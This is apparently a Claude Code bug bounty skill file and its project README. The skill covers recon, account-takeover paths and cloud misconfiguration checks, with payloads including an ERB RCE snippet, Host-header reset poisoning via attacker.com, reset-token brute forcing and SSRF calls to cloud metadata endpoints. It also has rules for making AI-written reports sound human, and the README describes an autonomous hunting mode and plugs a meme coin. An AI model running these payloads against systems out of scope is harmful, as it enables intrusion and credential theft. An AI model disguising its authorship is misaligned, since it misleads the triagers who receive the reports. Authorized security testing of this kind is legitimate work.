ERB -> RCE (Ruby on Rails)

<%= `id` %>

Subdomain Takeover

Detection

# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt

Quick-Kill Fingerprints

"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify

Impact Escalation

• Basic takeover: serve page under target.com subdomain -> Low/Medium
• • Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
• • OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
• • CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical

ATO -- Account Takeover (Complete Taxonomy)

Path 1: Password Reset Poisoning (Host Header Injection)

POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

Path 2: Reset Token in Referrer Leak

After clicking reset link, if page loads external resources -> token in Referer header to external domain.

Path 3: Predictable / Weak Reset Tokens

# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50

Path 4: Token Not Expiring / Reuse

Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?

Path 5: Email Change Without Re-Authentication

PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required -> attacker changes email -> locks out victim

Path 6: OAuth Account Linking Abuse

Can you link an OAuth account from a different email to an existing account?

Path 7: Session Fixation

GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.

Cloud / Infra Misconfigs

S3 / GCS / Azure Blob

# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

EC2 Metadata (via SSRF)

http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical

# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Firebase Open Rules

curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical

Exposed Admin Panels

/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env

Kubernetes / Docker

# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json

---

PHASE 4: VALIDATE

The 7-Question Gate (Run BEFORE Writing ANY Report)

All 7 must be YES. Any NO -> STOP.

Q1: Can I exploit this RIGHT NOW with a real PoC?

Write the exact HTTP request. If you cannot produce a working request -> KILL IT.

Q2: Does it affect a REAL user who took NO unusual actions?

No "the user would need to..." with 5 preconditions. Victim did nothing special.

Q3: Is the impact concrete (money, PII, ATO, RCE)?

"Technically possible" is not impact. "I read victim's SSN" is impact.

Q4: Is this in scope per the program policy?

Check the exact domain/endpoint against the program's scope page.

Q5: Did I check Hacktivity/changelog for duplicates?

Search the program's disclosed reports and recent changelog entries.

Q6: Is this NOT on the "always rejected" list?

Check the list below. If it's there and you can't chain it -> KILL IT.

Q7: Would a triager reading this say "yes, that's a real bug"?

Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?

4 Pre-Submission Gates

Gate 0: Reality Check (30 seconds)

[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)

Gate 1: Impact Validation (2 minutes)

[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely

Gate 2: Deduplication Check (5 minutes)

[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs

Gate 3: Report Quality (10 minutes)

[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix

CVSS 3.1 Quick Guide

| Factor | Low (0-3.9) | Medium (4-6.9) | High (7-8.9) | Critical (9-10) | |--------|-------------|----------------|--------------|-----------------| | Attack Vector | Physical | Local | Adjacent | Network | | Privileges | High | Low | None | None | | User Interaction | Required | Required | None | None | | Impact | Partial | Partial | High | High (all 3) |

Typical Scores by Bug Class

| Bug | Typical CVSS | Severity | |----|------|---------| | IDOR (read PII) | 6.5 | Medium | | IDOR (write/delete) | 7.5 | High | | Auth bypass -> admin | 9.8 | Critical | | Stored XSS | 5.4-8.8 | Med-High | | SQLi (data exfil) | 8.6 | High | | SSRF (cloud metadata) | 9.1 | Critical | | Race condition (double spend) | 7.5 | High | | GraphQL auth bypass | 8.7 | High | | JWT none algorithm | 9.1 | Critical |

---

ALWAYS REJECTED -- Never Submit These

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.

N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.

Conditionally Valid With Chain

These low findings become valid bugs when chained:

| Low Finding | + Chain | = Valid Bug | |------------|---------|-------------| | Open redirect | + OAuth code theft | ATO | | Clickjacking | + sensitive action + PoC | Account action | | CORS wildcard | + credentialed exfil | Data theft | | CSRF | + sensitive state change | Account takeover | | No rate limit | + OTP brute force | ATO | | SSRF (DNS only) | + internal access proof | Internal network access | | Host header injection | + password reset poisoning | ATO | | Self-XSS | + login CSRF | Stored XSS on victim |

---

PHASE 5: REPORT

HackerOne Report Template

Title: [Vuln Class] in [endpoint/feature] leads to [Impact]

## Summary
[2-3 sentences: what it is, where it is, what attacker can do]

## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]

## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]

## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]

## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None

Bugcrowd Report Template

Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]

Human Tone Rules (Avoid AI-Sounding Writing)

• Start sentences with the impact, not the vulnerability name
• Write like you're explaining to a smart developer, not a textbook
• Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
• One concrete example beats three abstract sentences
• No em dashes, no "comprehensive/leverage/seamless/ensure"

Report Title Formula

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]

Good titles:

IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times

Bad titles:

IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API

Impact Statement Formula (First Paragraph)

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].

The 60-Second Pre-Submit Checklist

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)

Severity Escalation Language

When payout is being downgraded, use these counters:

| Program Says | You Counter With | |---|---| | "Requires authentication" | "Attacker needs only a free account (no special role)" | | "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" | | "Already known" | "Show me the report number -- I searched and found none" | | "By design" | "Show me the documentation that states this is intended" | | "Low CVSS score" | "CVSS doesn't account for business impact -- attacker can steal [X]" |

---

RESOURCES

Bug Bounty Platforms

• HackerOne Hacktivity -- Disclosed reports
• Bugcrowd Crowdstream -- Public findings
• Intigriti Leaderboard

Learning

• PortSwigger Web Academy -- Free vuln labs (best)
• HackTricks -- Attack technique reference
• PayloadsAllTheThings -- Payload reference
• Solodit -- 50K+ searchable audit findings (Web3)
• ProjectDiscovery Chaos -- Free subdomain datasets

Wordlists

• SecLists -- Comprehensive wordlists
• HowToHunt -- Step-by-step vuln hunting
• DefaultCreds -- Default credentials

Payload Databases

• XSSHunter -- Blind XSS detection
• interactsh -- OOB callback server

---

INSTALLATION (Claude Code Skill)

To use this as a Claude Code skill, copy this file to your skills directory:

# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md

# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
  -o ~/.claude/skills/bug-bounty/SKILL.md

Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.

Claude Bug Bounty

Find security vulnerabilities, get paid — with AI doing the heavy lifting

Your AI hunting partner that remembers past targets, spots vulnerabilities, and writes reports for you. The community made a meme coin to support the project CA: J6VzBAGnyyNEyzyHhauwg3ofRctFxnTLzQCcjUdGpump by shuvonsec

What Is This?  |  Quick Start  |  Commands  |  What's New  |  Install  |  FAQ  |  Terms

  14 commands  ·  8 AI agents  ·  9 skill domains
  20 web2 vuln classes  ·  10 web3 bug classes
  Burp MCP  ·  HackerOne MCP  ·  Autonomous Mode

---

What Is This?

Bug bounty hunting is when companies pay you real money to find security vulnerabilities in their websites and apps before bad actors do. Platforms like HackerOne and Bugcrowd connect hunters with companies. Payouts range from $100 to $1,000,000+ depending on severity.

This tool is a plugin for Claude Code (Anthropic's AI coding assistant) that turns it into a professional bug bounty hunting partner. Instead of juggling 15 different tools and writing reports from scratch, you just type a command and the AI handles the rest.

In plain terms:

• You give it a target website
• It automatically scans the site, finds vulnerabilities, validates they're real, and writes a professional report
• It remembers what you found on past targets and applies that knowledge to new ones
• You can even put it on autopilot and let it hunt on its own while you sleep

Who is it for?

• Security researchers who want to move faster
• Bug bounty hunters who are tired of the manual grind
• People learning security who want AI guidance at every step

---

The Problem (Before This Tool)

Most hunters waste hours on things that shouldn't take that long:

• Manually running 10+ tools in the right order just to map a target
• Writing the same report structure from scratch every single time (45 min each)
• Forgetting that a technique worked on a similar target 3 months ago
• Submitting bugs that get rejected because they weren't properly validated first
• Jumping between terminal windows, browser, notes, and report drafts

The Solution (After This Tool)

| Before | After | |:---|:---| | Run 10+ tools manually, hope for the best | AI orchestrates everything in the right order | | Write reports from scratch (45 min each) | Report-writer agent generates submission-ready reports in 60s | | Forget what worked last month | Memory system — patterns from target A inform target B | | Submit bugs without proper validation | 7-Question Gate kills weak findings before you waste time reporting | | Can't see live browser traffic | Burp MCP — AI reads your proxy history in real time | | Hunt one endpoint at a time | /autopilot runs the full hunt loop while you watch |

---

Quick Start

Prerequisite: You need Claude Code installed. It's Anthropic's free AI coding tool that runs in your terminal.

Step 1 — Install tools + skills

git clone https://github.com/shuvonsec/claude-bug-bounty.git
cd claude-bug-bounty
chmod +x install_tools.sh && ./install_tools.sh   # installs scanning tools (subfinder, httpx, nuclei...)
chmod +x install.sh && ./install.sh               # installs AI skills + commands into Claude Code

Step 2 — Start hunting

claude                          # open Claude Code in your terminal

/recon target.com               # step 1: map the target (subdomains, live pages, URLs)
/hunt target.com                # step 2: test for vulnerabilities
/validate                       # step 3: make sure the finding is real before writing it up
/report                         # step 4: generate a professional submission report

That's the core loop. Four commands, full workflow.

Step 3 — Go autonomous

/autopilot target.com --normal  # AI does the whole thing, pauses for your review at the end
/pickup target.com              # continue where you left off on a previous target
/intel target.com               # get CVEs + disclosed reports relevant to this target

Don't use Claude Code? Run the Python tools directly:

python3 tools/hunt.py --target target.com
./tools/recon_engine.sh target.com

---

How It Works

Think of it like a team of specialists, each doing one job:

                        YOU
                         |
                   ┌─────▼─────┐
                   │   Claude   │ ◄── Burp MCP (sees your browser traffic)
                   │   Code     │ ◄── HackerOne MCP (program intel)
                   └─────┬─────┘
                         |
         ┌───────────────┼───────────────┐
         |               |               |
   ┌─────▼─────┐  ┌──────▼──────┐  ┌────▼────┐
   │   Recon    │  │    Hunt     │  │ Report  │
   │  (map it)  │  │  (test it)  │  │(write it│
   └─────┬─────┘  └──────┬──────┘  └────┬────┘
         |               |               |
   finds all         checks for      formats for
   subdomains,       vulnerabilities  HackerOne /
   URLs, APIs        & validates      Bugcrowd /
                     findings         Immunefi
         |               |               |
   ┌─────▼───────────────▼───────────────▼─────┐
   │              Hunt Memory                   │
   │   remembers everything across sessions     │
   └────────────────────────────────────────────┘

Each step feeds the next. Claude orchestrates all of it, or you run any step on its own.

---

Commands

The Core 4 (start here)

| Command | What It Does | When To Use | |:---|:---|:---| | /recon target.com | Maps the target — finds all subdomains, live pages, APIs, and runs basic scans | Always first | | /hunt target.com | Actively tests for vulnerabilities using the right technique for the tech stack | After recon | | /validate | Runs a 7-question check to confirm a finding is real before you write it up | Before every report | | /report | Generates a professional submission report for H1/Bugcrowd/Intigriti/Immunefi | After validation |

Power Commands

| Command | What It Does | |:---|:---| | /autopilot target.com | AI runs the full loop automatically — recon → hunt → validate → report | | /surface target.com | Shows a ranked list of the best places to test (based on your past findings) | | /pickup target.com | Shows untested endpoints from last session and picks up where you left off | | /remember | Saves the current finding or technique to memory for future use | | /intel target.com | Pulls CVEs and past disclosed reports relevant to this target | | /chain | When you find bug A, this finds bugs B and C that usually come with it | | /scope <asset> | Checks if a domain or URL is in scope before you test it | | /triage | Quick 2-minute go/no-go check — should you keep investigating or move on? | | /web3-audit <contract> | Full smart contract security audit with 10 bug class checklist | | /token-scan <contract> | Scans a meme coin or token for rug pull signals (EVM + Solana) |

---

AI Agents

8 specialized agents, each built for one job:

| Agent | What It Does | |:---|:---| | recon-agent | Finds all subdomains, live hosts, and URLs for a target | | report-writer | Writes professional, impact-first reports that get paid | | validator | Runs the 7-Question Gate — kills weak findings before you waste time | | web3-auditor | Audits smart contracts for 10 common vulnerability classes | | chain-builder | When you find one bug, finds the chain of related bugs | | autopilot | Runs the whole hunt loop autonomously with safety checkpoints | | recon-ranker | Ranks the attack surface so you test the highest-value targets first | | token-auditor | Fast meme coin / token rug pull and security analysis |

---

What's New

v4.1.0 — Auto-Memory + README (Apr 2026)

• Auto-memory at session end — the AI now automatically logs what it tested and found after every hunt session. Memory used to stay empty until you manually ran /remember. Now the flywheel starts on day 1.
• README badge and stats updated, install_tools.sh added to Quick Start (was missing)
• hunt-memory/ added to .gitignore (contains full URL history, shouldn't be committed)

v4.0.0 — Meme Coin Security Module (Apr 2026)

• /token-scan <contract> — automated rug pull scanner for EVM and Solana tokens
• skills/meme-coin-audit/ — 8 token bug classes: mint authority, freeze authority, LP locks, honeypot detection, bonding curve exploits, Solana SPL checks
• New agent: token-auditor

v3.1.1 — CI/CD Scanner (Mar 2026)

• GitHub Actions security scanning built into the recon pipeline
• Auto-detects GitHub orgs from recon data